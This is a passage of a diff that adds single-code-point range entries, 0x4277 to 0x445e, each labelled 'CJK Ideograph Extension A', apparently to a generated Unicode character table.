+ [0x4277, 0x4277], /* CJK Ideograph Extension A */
+ [0x4278, 0x4278], /* CJK Ideograph Extension A */
+ [0x4279, 0x4279], /* CJK Ideograph Extension A */
+ [0x427a, 0x427a], /* CJK Ideograph Extension A */
+ [0x427b, 0x427b], /* CJK Ideograph Extension A */
+ [0x427c, 0x427c], /* CJK Ideograph Extension A */
+ [0x427d, 0x427d], /* CJK Ideograph Extension A */
+ [0x427e, 0x427e], /* CJK Ideograph Extension A */
+ [0x427f, 0x427f], /* CJK Ideograph Extension A */
+ [0x4280, 0x4280], /* CJK Ideograph Extension A */
+ [0x4281, 0x4281], /* CJK Ideograph Extension A */
+ [0x4282, 0x4282], /* CJK Ideograph Extension A */
+ [0x4283, 0x4283], /* CJK Ideograph Extension A */
+ [0x4284, 0x4284], /* CJK Ideograph Extension A */
+ [0x4285, 0x4285], /* CJK Ideograph Extension A */
+ [0x4286, 0x4286], /* CJK Ideograph Extension A */
+ [0x4287, 0x4287], /* CJK Ideograph Extension A */
+ [0x4288, 0x4288], /* CJK Ideograph Extension A */
+ [0x4289, 0x4289], /* CJK Ideograph Extension A */
+ [0x428a, 0x428a], /* CJK Ideograph Extension A */
+ [0x428b, 0x428b], /* CJK Ideograph Extension A */
+ [0x428c, 0x428c], /* CJK Ideograph Extension A */
+ [0x428d, 0x428d], /* CJK Ideograph Extension A */
+ [0x428e, 0x428e], /* CJK Ideograph Extension A */
+ [0x428f, 0x428f], /* CJK Ideograph Extension A */
+ [0x4290, 0x4290], /* CJK Ideograph Extension A */
+ [0x4291, 0x4291], /* CJK Ideograph Extension A */
+ [0x4292, 0x4292], /* CJK Ideograph Extension A */
+ [0x4293, 0x4293], /* CJK Ideograph Extension A */
+ [0x4294, 0x4294], /* CJK Ideograph Extension A */
+ [0x4295, 0x4295], /* CJK Ideograph Extension A */
+ [0x4296, 0x4296], /* CJK Ideograph Extension A */
+ [0x4297, 0x4297], /* CJK Ideograph Extension A */
+ [0x4298, 0x4298], /* CJK Ideograph Extension A */
+ [0x4299, 0x4299], /* CJK Ideograph Extension A */
+ [0x429a, 0x429a], /* CJK Ideograph Extension A */
+ [0x429b, 0x429b], /* CJK Ideograph Extension A */
+ [0x429c, 0x429c], /* CJK Ideograph Extension A */
+ [0x429d, 0x429d], /* CJK Ideograph Extension A */
+ [0x429e, 0x429e], /* CJK Ideograph Extension A */
+ [0x429f, 0x429f], /* CJK Ideograph Extension A */
+ [0x42a0, 0x42a0], /* CJK Ideograph Extension A */
+ [0x42a1, 0x42a1], /* CJK Ideograph Extension A */
+ [0x42a2, 0x42a2], /* CJK Ideograph Extension A */
+ [0x42a3, 0x42a3], /* CJK Ideograph Extension A */
+ [0x42a4, 0x42a4], /* CJK Ideograph Extension A */
+ [0x42a5, 0x42a5], /* CJK Ideograph Extension A */
+ [0x42a6, 0x42a6], /* CJK Ideograph Extension A */
+ [0x42a7, 0x42a7], /* CJK Ideograph Extension A */
+ [0x42a8, 0x42a8], /* CJK Ideograph Extension A */
+ [0x42a9, 0x42a9], /* CJK Ideograph Extension A */
+ [0x42aa, 0x42aa], /* CJK Ideograph Extension A */
+ [0x42ab, 0x42ab], /* CJK Ideograph Extension A */
+ [0x42ac, 0x42ac], /* CJK Ideograph Extension A */
+ [0x42ad, 0x42ad], /* CJK Ideograph Extension A */
+ [0x42ae, 0x42ae], /* CJK Ideograph Extension A */
+ [0x42af, 0x42af], /* CJK Ideograph Extension A */
+ [0x42b0, 0x42b0], /* CJK Ideograph Extension A */
+ [0x42b1, 0x42b1], /* CJK Ideograph Extension A */
+ [0x42b2, 0x42b2], /* CJK Ideograph Extension A */
+ [0x42b3, 0x42b3], /* CJK Ideograph Extension A */
+ [0x42b4, 0x42b4], /* CJK Ideograph Extension A */
+ [0x42b5, 0x42b5], /* CJK Ideograph Extension A */
+ [0x42b6, 0x42b6], /* CJK Ideograph Extension A */
+ [0x42b7, 0x42b7], /* CJK Ideograph Extension A */
+ [0x42b8, 0x42b8], /* CJK Ideograph Extension A */
+ [0x42b9, 0x42b9], /* CJK Ideograph Extension A */
+ [0x42ba, 0x42ba], /* CJK Ideograph Extension A */
+ [0x42bb, 0x42bb], /* CJK Ideograph Extension A */
+ [0x42bc, 0x42bc], /* CJK Ideograph Extension A */
+ [0x42bd, 0x42bd], /* CJK Ideograph Extension A */
+ [0x42be, 0x42be], /* CJK Ideograph Extension A */
+ [0x42bf, 0x42bf], /* CJK Ideograph Extension A */
+ [0x42c0, 0x42c0], /* CJK Ideograph Extension A */
+ [0x42c1, 0x42c1], /* CJK Ideograph Extension A */
+ [0x42c2, 0x42c2], /* CJK Ideograph Extension A */
+ [0x42c3, 0x42c3], /* CJK Ideograph Extension A */
+ [0x42c4, 0x42c4], /* CJK Ideograph Extension A */
+ [0x42c5, 0x42c5], /* CJK Ideograph Extension A */
+ [0x42c6, 0x42c6], /* CJK Ideograph Extension A */
+ [0x42c7, 0x42c7], /* CJK Ideograph Extension A */
+ [0x42c8, 0x42c8], /* CJK Ideograph Extension A */
+ [0x42c9, 0x42c9], /* CJK Ideograph Extension A */
+ [0x42ca, 0x42ca], /* CJK Ideograph Extension A */
+ [0x42cb, 0x42cb], /* CJK Ideograph Extension A */
+ [0x42cc, 0x42cc], /* CJK Ideograph Extension A */
+ [0x42cd, 0x42cd], /* CJK Ideograph Extension A */
+ [0x42ce, 0x42ce], /* CJK Ideograph Extension A */
+ [0x42cf, 0x42cf], /* CJK Ideograph Extension A */
+ [0x42d0, 0x42d0], /* CJK Ideograph Extension A */
+ [0x42d1, 0x42d1], /* CJK Ideograph Extension A */
+ [0x42d2, 0x42d2], /* CJK Ideograph Extension A */
+ [0x42d3, 0x42d3], /* CJK Ideograph Extension A */
+ [0x42d4, 0x42d4], /* CJK Ideograph Extension A */
+ [0x42d5, 0x42d5], /* CJK Ideograph Extension A */
+ [0x42d6, 0x42d6], /* CJK Ideograph Extension A */
+ [0x42d7, 0x42d7], /* CJK Ideograph Extension A */
+ [0x42d8, 0x42d8], /* CJK Ideograph Extension A */
+ [0x42d9, 0x42d9], /* CJK Ideograph Extension A */
+ [0x42da, 0x42da], /* CJK Ideograph Extension A */
+ [0x42db, 0x42db], /* CJK Ideograph Extension A */
+ [0x42dc, 0x42dc], /* CJK Ideograph Extension A */
+ [0x42dd, 0x42dd], /* CJK Ideograph Extension A */
+ [0x42de, 0x42de], /* CJK Ideograph Extension A */
+ [0x42df, 0x42df], /* CJK Ideograph Extension A */
+ [0x42e0, 0x42e0], /* CJK Ideograph Extension A */
+ [0x42e1, 0x42e1], /* CJK Ideograph Extension A */
+ [0x42e2, 0x42e2], /* CJK Ideograph Extension A */
+ [0x42e3, 0x42e3], /* CJK Ideograph Extension A */
+ [0x42e4, 0x42e4], /* CJK Ideograph Extension A */
+ [0x42e5, 0x42e5], /* CJK Ideograph Extension A */
+ [0x42e6, 0x42e6], /* CJK Ideograph Extension A */
+ [0x42e7, 0x42e7], /* CJK Ideograph Extension A */
+ [0x42e8, 0x42e8], /* CJK Ideograph Extension A */
+ [0x42e9, 0x42e9], /* CJK Ideograph Extension A */
+ [0x42ea, 0x42ea], /* CJK Ideograph Extension A */
+ [0x42eb, 0x42eb], /* CJK Ideograph Extension A */
+ [0x42ec, 0x42ec], /* CJK Ideograph Extension A */
+ [0x42ed, 0x42ed], /* CJK Ideograph Extension A */
+ [0x42ee, 0x42ee], /* CJK Ideograph Extension A */
+ [0x42ef, 0x42ef], /* CJK Ideograph Extension A */
+ [0x42f0, 0x42f0], /* CJK Ideograph Extension A */
+ [0x42f1, 0x42f1], /* CJK Ideograph Extension A */
+ [0x42f2, 0x42f2], /* CJK Ideograph Extension A */
+ [0x42f3, 0x42f3], /* CJK Ideograph Extension A */
+ [0x42f4, 0x42f4], /* CJK Ideograph Extension A */
+ [0x42f5, 0x42f5], /* CJK Ideograph Extension A */
+ [0x42f6, 0x42f6], /* CJK Ideograph Extension A */
+ [0x42f7, 0x42f7], /* CJK Ideograph Extension A */
+ [0x42f8, 0x42f8], /* CJK Ideograph Extension A */
+ [0x42f9, 0x42f9], /* CJK Ideograph Extension A */
+ [0x42fa, 0x42fa], /* CJK Ideograph Extension A */
+ [0x42fb, 0x42fb], /* CJK Ideograph Extension A */
+ [0x42fc, 0x42fc], /* CJK Ideograph Extension A */
+ [0x42fd, 0x42fd], /* CJK Ideograph Extension A */
+ [0x42fe, 0x42fe], /* CJK Ideograph Extension A */
+ [0x42ff, 0x42ff], /* CJK Ideograph Extension A */
+ [0x4300, 0x4300], /* CJK Ideograph Extension A */
+ [0x4301, 0x4301], /* CJK Ideograph Extension A */
+ [0x4302, 0x4302], /* CJK Ideograph Extension A */
+ [0x4303, 0x4303], /* CJK Ideograph Extension A */
+ [0x4304, 0x4304], /* CJK Ideograph Extension A */
+ [0x4305, 0x4305], /* CJK Ideograph Extension A */
+ [0x4306, 0x4306], /* CJK Ideograph Extension A */
+ [0x4307, 0x4307], /* CJK Ideograph Extension A */
+ [0x4308, 0x4308], /* CJK Ideograph Extension A */
+ [0x4309, 0x4309], /* CJK Ideograph Extension A */
+ [0x430a, 0x430a], /* CJK Ideograph Extension A */
+ [0x430b, 0x430b], /* CJK Ideograph Extension A */
+ [0x430c, 0x430c], /* CJK Ideograph Extension A */
+ [0x430d, 0x430d], /* CJK Ideograph Extension A */
+ [0x430e, 0x430e], /* CJK Ideograph Extension A */
+ [0x430f, 0x430f], /* CJK Ideograph Extension A */
+ [0x4310, 0x4310], /* CJK Ideograph Extension A */
+ [0x4311, 0x4311], /* CJK Ideograph Extension A */
+ [0x4312, 0x4312], /* CJK Ideograph Extension A */
+ [0x4313, 0x4313], /* CJK Ideograph Extension A */
+ [0x4314, 0x4314], /* CJK Ideograph Extension A */
+ [0x4315, 0x4315], /* CJK Ideograph Extension A */
+ [0x4316, 0x4316], /* CJK Ideograph Extension A */
+ [0x4317, 0x4317], /* CJK Ideograph Extension A */
+ [0x4318, 0x4318], /* CJK Ideograph Extension A */
+ [0x4319, 0x4319], /* CJK Ideograph Extension A */
+ [0x431a, 0x431a], /* CJK Ideograph Extension A */
+ [0x431b, 0x431b], /* CJK Ideograph Extension A */
+ [0x431c, 0x431c], /* CJK Ideograph Extension A */
+ [0x431d, 0x431d], /* CJK Ideograph Extension A */
+ [0x431e, 0x431e], /* CJK Ideograph Extension A */
+ [0x431f, 0x431f], /* CJK Ideograph Extension A */
+ [0x4320, 0x4320], /* CJK Ideograph Extension A */
+ [0x4321, 0x4321], /* CJK Ideograph Extension A */
+ [0x4322, 0x4322], /* CJK Ideograph Extension A */
+ [0x4323, 0x4323], /* CJK Ideograph Extension A */
+ [0x4324, 0x4324], /* CJK Ideograph Extension A */
+ [0x4325, 0x4325], /* CJK Ideograph Extension A */
+ [0x4326, 0x4326], /* CJK Ideograph Extension A */
+ [0x4327, 0x4327], /* CJK Ideograph Extension A */
+ [0x4328, 0x4328], /* CJK Ideograph Extension A */
+ [0x4329, 0x4329], /* CJK Ideograph Extension A */
+ [0x432a, 0x432a], /* CJK Ideograph Extension A */
+ [0x432b, 0x432b], /* CJK Ideograph Extension A */
+ [0x432c, 0x432c], /* CJK Ideograph Extension A */
+ [0x432d, 0x432d], /* CJK Ideograph Extension A */
+ [0x432e, 0x432e], /* CJK Ideograph Extension A */
+ [0x432f, 0x432f], /* CJK Ideograph Extension A */
+ [0x4330, 0x4330], /* CJK Ideograph Extension A */
+ [0x4331, 0x4331], /* CJK Ideograph Extension A */
+ [0x4332, 0x4332], /* CJK Ideograph Extension A */
+ [0x4333, 0x4333], /* CJK Ideograph Extension A */
+ [0x4334, 0x4334], /* CJK Ideograph Extension A */
+ [0x4335, 0x4335], /* CJK Ideograph Extension A */
+ [0x4336, 0x4336], /* CJK Ideograph Extension A */
+ [0x4337, 0x4337], /* CJK Ideograph Extension A */
+ [0x4338, 0x4338], /* CJK Ideograph Extension A */
+ [0x4339, 0x4339], /* CJK Ideograph Extension A */
+ [0x433a, 0x433a], /* CJK Ideograph Extension A */
+ [0x433b, 0x433b], /* CJK Ideograph Extension A */
+ [0x433c, 0x433c], /* CJK Ideograph Extension A */
+ [0x433d, 0x433d], /* CJK Ideograph Extension A */
+ [0x433e, 0x433e], /* CJK Ideograph Extension A */
+ [0x433f, 0x433f], /* CJK Ideograph Extension A */
+ [0x4340, 0x4340], /* CJK Ideograph Extension A */
+ [0x4341, 0x4341], /* CJK Ideograph Extension A */
+ [0x4342, 0x4342], /* CJK Ideograph Extension A */
+ [0x4343, 0x4343], /* CJK Ideograph Extension A */
+ [0x4344, 0x4344], /* CJK Ideograph Extension A */
+ [0x4345, 0x4345], /* CJK Ideograph Extension A */
+ [0x4346, 0x4346], /* CJK Ideograph Extension A */
+ [0x4347, 0x4347], /* CJK Ideograph Extension A */
+ [0x4348, 0x4348], /* CJK Ideograph Extension A */
+ [0x4349, 0x4349], /* CJK Ideograph Extension A */
+ [0x434a, 0x434a], /* CJK Ideograph Extension A */
+ [0x434b, 0x434b], /* CJK Ideograph Extension A */
+ [0x434c, 0x434c], /* CJK Ideograph Extension A */
+ [0x434d, 0x434d], /* CJK Ideograph Extension A */
+ [0x434e, 0x434e], /* CJK Ideograph Extension A */
+ [0x434f, 0x434f], /* CJK Ideograph Extension A */
+ [0x4350, 0x4350], /* CJK Ideograph Extension A */
+ [0x4351, 0x4351], /* CJK Ideograph Extension A */
+ [0x4352, 0x4352], /* CJK Ideograph Extension A */
+ [0x4353, 0x4353], /* CJK Ideograph Extension A */
+ [0x4354, 0x4354], /* CJK Ideograph Extension A */
+ [0x4355, 0x4355], /* CJK Ideograph Extension A */
+ [0x4356, 0x4356], /* CJK Ideograph Extension A */
+ [0x4357, 0x4357], /* CJK Ideograph Extension A */
+ [0x4358, 0x4358], /* CJK Ideograph Extension A */
+ [0x4359, 0x4359], /* CJK Ideograph Extension A */
+ [0x435a, 0x435a], /* CJK Ideograph Extension A */
+ [0x435b, 0x435b], /* CJK Ideograph Extension A */
+ [0x435c, 0x435c], /* CJK Ideograph Extension A */
+ [0x435d, 0x435d], /* CJK Ideograph Extension A */
+ [0x435e, 0x435e], /* CJK Ideograph Extension A */
+ [0x435f, 0x435f], /* CJK Ideograph Extension A */
+ [0x4360, 0x4360], /* CJK Ideograph Extension A */
+ [0x4361, 0x4361], /* CJK Ideograph Extension A */
+ [0x4362, 0x4362], /* CJK Ideograph Extension A */
+ [0x4363, 0x4363], /* CJK Ideograph Extension A */
+ [0x4364, 0x4364], /* CJK Ideograph Extension A */
+ [0x4365, 0x4365], /* CJK Ideograph Extension A */
+ [0x4366, 0x4366], /* CJK Ideograph Extension A */
+ [0x4367, 0x4367], /* CJK Ideograph Extension A */
+ [0x4368, 0x4368], /* CJK Ideograph Extension A */
+ [0x4369, 0x4369], /* CJK Ideograph Extension A */
+ [0x436a, 0x436a], /* CJK Ideograph Extension A */
+ [0x436b, 0x436b], /* CJK Ideograph Extension A */
+ [0x436c, 0x436c], /* CJK Ideograph Extension A */
+ [0x436d, 0x436d], /* CJK Ideograph Extension A */
+ [0x436e, 0x436e], /* CJK Ideograph Extension A */
+ [0x436f, 0x436f], /* CJK Ideograph Extension A */
+ [0x4370, 0x4370], /* CJK Ideograph Extension A */
+ [0x4371, 0x4371], /* CJK Ideograph Extension A */
+ [0x4372, 0x4372], /* CJK Ideograph Extension A */
+ [0x4373, 0x4373], /* CJK Ideograph Extension A */
+ [0x4374, 0x4374], /* CJK Ideograph Extension A */
+ [0x4375, 0x4375], /* CJK Ideograph Extension A */
+ [0x4376, 0x4376], /* CJK Ideograph Extension A */
+ [0x4377, 0x4377], /* CJK Ideograph Extension A */
+ [0x4378, 0x4378], /* CJK Ideograph Extension A */
+ [0x4379, 0x4379], /* CJK Ideograph Extension A */
+ [0x437a, 0x437a], /* CJK Ideograph Extension A */
+ [0x437b, 0x437b], /* CJK Ideograph Extension A */
+ [0x437c, 0x437c], /* CJK Ideograph Extension A */
+ [0x437d, 0x437d], /* CJK Ideograph Extension A */
+ [0x437e, 0x437e], /* CJK Ideograph Extension A */
+ [0x437f, 0x437f], /* CJK Ideograph Extension A */
+ [0x4380, 0x4380], /* CJK Ideograph Extension A */
+ [0x4381, 0x4381], /* CJK Ideograph Extension A */
+ [0x4382, 0x4382], /* CJK Ideograph Extension A */
+ [0x4383, 0x4383], /* CJK Ideograph Extension A */
+ [0x4384, 0x4384], /* CJK Ideograph Extension A */
+ [0x4385, 0x4385], /* CJK Ideograph Extension A */
+ [0x4386, 0x4386], /* CJK Ideograph Extension A */
+ [0x4387, 0x4387], /* CJK Ideograph Extension A */
+ [0x4388, 0x4388], /* CJK Ideograph Extension A */
+ [0x4389, 0x4389], /* CJK Ideograph Extension A */
+ [0x438a, 0x438a], /* CJK Ideograph Extension A */
+ [0x438b, 0x438b], /* CJK Ideograph Extension A */
+ [0x438c, 0x438c], /* CJK Ideograph Extension A */
+ [0x438d, 0x438d], /* CJK Ideograph Extension A */
+ [0x438e, 0x438e], /* CJK Ideograph Extension A */
+ [0x438f, 0x438f], /* CJK Ideograph Extension A */
+ [0x4390, 0x4390], /* CJK Ideograph Extension A */
+ [0x4391, 0x4391], /* CJK Ideograph Extension A */
+ [0x4392, 0x4392], /* CJK Ideograph Extension A */
+ [0x4393, 0x4393], /* CJK Ideograph Extension A */
+ [0x4394, 0x4394], /* CJK Ideograph Extension A */
+ [0x4395, 0x4395], /* CJK Ideograph Extension A */
+ [0x4396, 0x4396], /* CJK Ideograph Extension A */
+ [0x4397, 0x4397], /* CJK Ideograph Extension A */
+ [0x4398, 0x4398], /* CJK Ideograph Extension A */
+ [0x4399, 0x4399], /* CJK Ideograph Extension A */
+ [0x439a, 0x439a], /* CJK Ideograph Extension A */
+ [0x439b, 0x439b], /* CJK Ideograph Extension A */
+ [0x439c, 0x439c], /* CJK Ideograph Extension A */
+ [0x439d, 0x439d], /* CJK Ideograph Extension A */
+ [0x439e, 0x439e], /* CJK Ideograph Extension A */
+ [0x439f, 0x439f], /* CJK Ideograph Extension A */
+ [0x43a0, 0x43a0], /* CJK Ideograph Extension A */
+ [0x43a1, 0x43a1], /* CJK Ideograph Extension A */
+ [0x43a2, 0x43a2], /* CJK Ideograph Extension A */
+ [0x43a3, 0x43a3], /* CJK Ideograph Extension A */
+ [0x43a4, 0x43a4], /* CJK Ideograph Extension A */
+ [0x43a5, 0x43a5], /* CJK Ideograph Extension A */
+ [0x43a6, 0x43a6], /* CJK Ideograph Extension A */
+ [0x43a7, 0x43a7], /* CJK Ideograph Extension A */
+ [0x43a8, 0x43a8], /* CJK Ideograph Extension A */
+ [0x43a9, 0x43a9], /* CJK Ideograph Extension A */
+ [0x43aa, 0x43aa], /* CJK Ideograph Extension A */
+ [0x43ab, 0x43ab], /* CJK Ideograph Extension A */
+ [0x43ac, 0x43ac], /* CJK Ideograph Extension A */
+ [0x43ad, 0x43ad], /* CJK Ideograph Extension A */
+ [0x43ae, 0x43ae], /* CJK Ideograph Extension A */
+ [0x43af, 0x43af], /* CJK Ideograph Extension A */
+ [0x43b0, 0x43b0], /* CJK Ideograph Extension A */
+ [0x43b1, 0x43b1], /* CJK Ideograph Extension A */
+ [0x43b2, 0x43b2], /* CJK Ideograph Extension A */
+ [0x43b3, 0x43b3], /* CJK Ideograph Extension A */
+ [0x43b4, 0x43b4], /* CJK Ideograph Extension A */
+ [0x43b5, 0x43b5], /* CJK Ideograph Extension A */
+ [0x43b6, 0x43b6], /* CJK Ideograph Extension A */
+ [0x43b7, 0x43b7], /* CJK Ideograph Extension A */
+ [0x43b8, 0x43b8], /* CJK Ideograph Extension A */
+ [0x43b9, 0x43b9], /* CJK Ideograph Extension A */
+ [0x43ba, 0x43ba], /* CJK Ideograph Extension A */
+ [0x43bb, 0x43bb], /* CJK Ideograph Extension A */
+ [0x43bc, 0x43bc], /* CJK Ideograph Extension A */
+ [0x43bd, 0x43bd], /* CJK Ideograph Extension A */
+ [0x43be, 0x43be], /* CJK Ideograph Extension A */
+ [0x43bf, 0x43bf], /* CJK Ideograph Extension A */
+ [0x43c0, 0x43c0], /* CJK Ideograph Extension A */
+ [0x43c1, 0x43c1], /* CJK Ideograph Extension A */
+ [0x43c2, 0x43c2], /* CJK Ideograph Extension A */
+ [0x43c3, 0x43c3], /* CJK Ideograph Extension A */
+ [0x43c4, 0x43c4], /* CJK Ideograph Extension A */
+ [0x43c5, 0x43c5], /* CJK Ideograph Extension A */
+ [0x43c6, 0x43c6], /* CJK Ideograph Extension A */
+ [0x43c7, 0x43c7], /* CJK Ideograph Extension A */
+ [0x43c8, 0x43c8], /* CJK Ideograph Extension A */
+ [0x43c9, 0x43c9], /* CJK Ideograph Extension A */
+ [0x43ca, 0x43ca], /* CJK Ideograph Extension A */
+ [0x43cb, 0x43cb], /* CJK Ideograph Extension A */
+ [0x43cc, 0x43cc], /* CJK Ideograph Extension A */
+ [0x43cd, 0x43cd], /* CJK Ideograph Extension A */
+ [0x43ce, 0x43ce], /* CJK Ideograph Extension A */
+ [0x43cf, 0x43cf], /* CJK Ideograph Extension A */
+ [0x43d0, 0x43d0], /* CJK Ideograph Extension A */
+ [0x43d1, 0x43d1], /* CJK Ideograph Extension A */
+ [0x43d2, 0x43d2], /* CJK Ideograph Extension A */
+ [0x43d3, 0x43d3], /* CJK Ideograph Extension A */
+ [0x43d4, 0x43d4], /* CJK Ideograph Extension A */
+ [0x43d5, 0x43d5], /* CJK Ideograph Extension A */
+ [0x43d6, 0x43d6], /* CJK Ideograph Extension A */
+ [0x43d7, 0x43d7], /* CJK Ideograph Extension A */
+ [0x43d8, 0x43d8], /* CJK Ideograph Extension A */
+ [0x43d9, 0x43d9], /* CJK Ideograph Extension A */
+ [0x43da, 0x43da], /* CJK Ideograph Extension A */
+ [0x43db, 0x43db], /* CJK Ideograph Extension A */
+ [0x43dc, 0x43dc], /* CJK Ideograph Extension A */
+ [0x43dd, 0x43dd], /* CJK Ideograph Extension A */
+ [0x43de, 0x43de], /* CJK Ideograph Extension A */
+ [0x43df, 0x43df], /* CJK Ideograph Extension A */
+ [0x43e0, 0x43e0], /* CJK Ideograph Extension A */
+ [0x43e1, 0x43e1], /* CJK Ideograph Extension A */
+ [0x43e2, 0x43e2], /* CJK Ideograph Extension A */
+ [0x43e3, 0x43e3], /* CJK Ideograph Extension A */
+ [0x43e4, 0x43e4], /* CJK Ideograph Extension A */
+ [0x43e5, 0x43e5], /* CJK Ideograph Extension A */
+ [0x43e6, 0x43e6], /* CJK Ideograph Extension A */
+ [0x43e7, 0x43e7], /* CJK Ideograph Extension A */
+ [0x43e8, 0x43e8], /* CJK Ideograph Extension A */
+ [0x43e9, 0x43e9], /* CJK Ideograph Extension A */
+ [0x43ea, 0x43ea], /* CJK Ideograph Extension A */
+ [0x43eb, 0x43eb], /* CJK Ideograph Extension A */
+ [0x43ec, 0x43ec], /* CJK Ideograph Extension A */
+ [0x43ed, 0x43ed], /* CJK Ideograph Extension A */
+ [0x43ee, 0x43ee], /* CJK Ideograph Extension A */
+ [0x43ef, 0x43ef], /* CJK Ideograph Extension A */
+ [0x43f0, 0x43f0], /* CJK Ideograph Extension A */
+ [0x43f1, 0x43f1], /* CJK Ideograph Extension A */
+ [0x43f2, 0x43f2], /* CJK Ideograph Extension A */
+ [0x43f3, 0x43f3], /* CJK Ideograph Extension A */
+ [0x43f4, 0x43f4], /* CJK Ideograph Extension A */
+ [0x43f5, 0x43f5], /* CJK Ideograph Extension A */
+ [0x43f6, 0x43f6], /* CJK Ideograph Extension A */
+ [0x43f7, 0x43f7], /* CJK Ideograph Extension A */
+ [0x43f8, 0x43f8], /* CJK Ideograph Extension A */
+ [0x43f9, 0x43f9], /* CJK Ideograph Extension A */
+ [0x43fa, 0x43fa], /* CJK Ideograph Extension A */
+ [0x43fb, 0x43fb], /* CJK Ideograph Extension A */
+ [0x43fc, 0x43fc], /* CJK Ideograph Extension A */
+ [0x43fd, 0x43fd], /* CJK Ideograph Extension A */
+ [0x43fe, 0x43fe], /* CJK Ideograph Extension A */
+ [0x43ff, 0x43ff], /* CJK Ideograph Extension A */
+ [0x4400, 0x4400], /* CJK Ideograph Extension A */
+ [0x4401, 0x4401], /* CJK Ideograph Extension A */
+ [0x4402, 0x4402], /* CJK Ideograph Extension A */
+ [0x4403, 0x4403], /* CJK Ideograph Extension A */
+ [0x4404, 0x4404], /* CJK Ideograph Extension A */
+ [0x4405, 0x4405], /* CJK Ideograph Extension A */
+ [0x4406, 0x4406], /* CJK Ideograph Extension A */
+ [0x4407, 0x4407], /* CJK Ideograph Extension A */
+ [0x4408, 0x4408], /* CJK Ideograph Extension A */
+ [0x4409, 0x4409], /* CJK Ideograph Extension A */
+ [0x440a, 0x440a], /* CJK Ideograph Extension A */
+ [0x440b, 0x440b], /* CJK Ideograph Extension A */
+ [0x440c, 0x440c], /* CJK Ideograph Extension A */
+ [0x440d, 0x440d], /* CJK Ideograph Extension A */
+ [0x440e, 0x440e], /* CJK Ideograph Extension A */
+ [0x440f, 0x440f], /* CJK Ideograph Extension A */
+ [0x4410, 0x4410], /* CJK Ideograph Extension A */
+ [0x4411, 0x4411], /* CJK Ideograph Extension A */
+ [0x4412, 0x4412], /* CJK Ideograph Extension A */
+ [0x4413, 0x4413], /* CJK Ideograph Extension A */
+ [0x4414, 0x4414], /* CJK Ideograph Extension A */
+ [0x4415, 0x4415], /* CJK Ideograph Extension A */
+ [0x4416, 0x4416], /* CJK Ideograph Extension A */
+ [0x4417, 0x4417], /* CJK Ideograph Extension A */
+ [0x4418, 0x4418], /* CJK Ideograph Extension A */
+ [0x4419, 0x4419], /* CJK Ideograph Extension A */
+ [0x441a, 0x441a], /* CJK Ideograph Extension A */
+ [0x441b, 0x441b], /* CJK Ideograph Extension A */
+ [0x441c, 0x441c], /* CJK Ideograph Extension A */
+ [0x441d, 0x441d], /* CJK Ideograph Extension A */
+ [0x441e, 0x441e], /* CJK Ideograph Extension A */
+ [0x441f, 0x441f], /* CJK Ideograph Extension A */
+ [0x4420, 0x4420], /* CJK Ideograph Extension A */
+ [0x4421, 0x4421], /* CJK Ideograph Extension A */
+ [0x4422, 0x4422], /* CJK Ideograph Extension A */
+ [0x4423, 0x4423], /* CJK Ideograph Extension A */
+ [0x4424, 0x4424], /* CJK Ideograph Extension A */
+ [0x4425, 0x4425], /* CJK Ideograph Extension A */
+ [0x4426, 0x4426], /* CJK Ideograph Extension A */
+ [0x4427, 0x4427], /* CJK Ideograph Extension A */
+ [0x4428, 0x4428], /* CJK Ideograph Extension A */
+ [0x4429, 0x4429], /* CJK Ideograph Extension A */
+ [0x442a, 0x442a], /* CJK Ideograph Extension A */
+ [0x442b, 0x442b], /* CJK Ideograph Extension A */
+ [0x442c, 0x442c], /* CJK Ideograph Extension A */
+ [0x442d, 0x442d], /* CJK Ideograph Extension A */
+ [0x442e, 0x442e], /* CJK Ideograph Extension A */
+ [0x442f, 0x442f], /* CJK Ideograph Extension A */
+ [0x4430, 0x4430], /* CJK Ideograph Extension A */
+ [0x4431, 0x4431], /* CJK Ideograph Extension A */
+ [0x4432, 0x4432], /* CJK Ideograph Extension A */
+ [0x4433, 0x4433], /* CJK Ideograph Extension A */
+ [0x4434, 0x4434], /* CJK Ideograph Extension A */
+ [0x4435, 0x4435], /* CJK Ideograph Extension A */
+ [0x4436, 0x4436], /* CJK Ideograph Extension A */
+ [0x4437, 0x4437], /* CJK Ideograph Extension A */
+ [0x4438, 0x4438], /* CJK Ideograph Extension A */
+ [0x4439, 0x4439], /* CJK Ideograph Extension A */
+ [0x443a, 0x443a], /* CJK Ideograph Extension A */
+ [0x443b, 0x443b], /* CJK Ideograph Extension A */
+ [0x443c, 0x443c], /* CJK Ideograph Extension A */
+ [0x443d, 0x443d], /* CJK Ideograph Extension A */
+ [0x443e, 0x443e], /* CJK Ideograph Extension A */
+ [0x443f, 0x443f], /* CJK Ideograph Extension A */
+ [0x4440, 0x4440], /* CJK Ideograph Extension A */
+ [0x4441, 0x4441], /* CJK Ideograph Extension A */
+ [0x4442, 0x4442], /* CJK Ideograph Extension A */
+ [0x4443, 0x4443], /* CJK Ideograph Extension A */
+ [0x4444, 0x4444], /* CJK Ideograph Extension A */
+ [0x4445, 0x4445], /* CJK Ideograph Extension A */
+ [0x4446, 0x4446], /* CJK Ideograph Extension A */
+ [0x4447, 0x4447], /* CJK Ideograph Extension A */
+ [0x4448, 0x4448], /* CJK Ideograph Extension A */
+ [0x4449, 0x4449], /* CJK Ideograph Extension A */
+ [0x444a, 0x444a], /* CJK Ideograph Extension A */
+ [0x444b, 0x444b], /* CJK Ideograph Extension A */
+ [0x444c, 0x444c], /* CJK Ideograph Extension A */
+ [0x444d, 0x444d], /* CJK Ideograph Extension A */
+ [0x444e, 0x444e], /* CJK Ideograph Extension A */
+ [0x444f, 0x444f], /* CJK Ideograph Extension A */
+ [0x4450, 0x4450], /* CJK Ideograph Extension A */
+ [0x4451, 0x4451], /* CJK Ideograph Extension A */
+ [0x4452, 0x4452], /* CJK Ideograph Extension A */
+ [0x4453, 0x4453], /* CJK Ideograph Extension A */
+ [0x4454, 0x4454], /* CJK Ideograph Extension A */
+ [0x4455, 0x4455], /* CJK Ideograph Extension A */
+ [0x4456, 0x4456], /* CJK Ideograph Extension A */
+ [0x4457, 0x4457], /* CJK Ideograph Extension A */
+ [0x4458, 0x4458], /* CJK Ideograph Extension A */
+ [0x4459, 0x4459], /* CJK Ideograph Extension A */
+ [0x445a, 0x445a], /* CJK Ideograph Extension A */
+ [0x445b, 0x445b], /* CJK Ideograph Extension A */
+ [0x445c, 0x445c], /* CJK Ideograph Extension A */
+ [0x445d, 0x445d], /* CJK Ideograph Extension A */
+ [0x445e, 0x445e], /* CJK Ideograph Extension A */
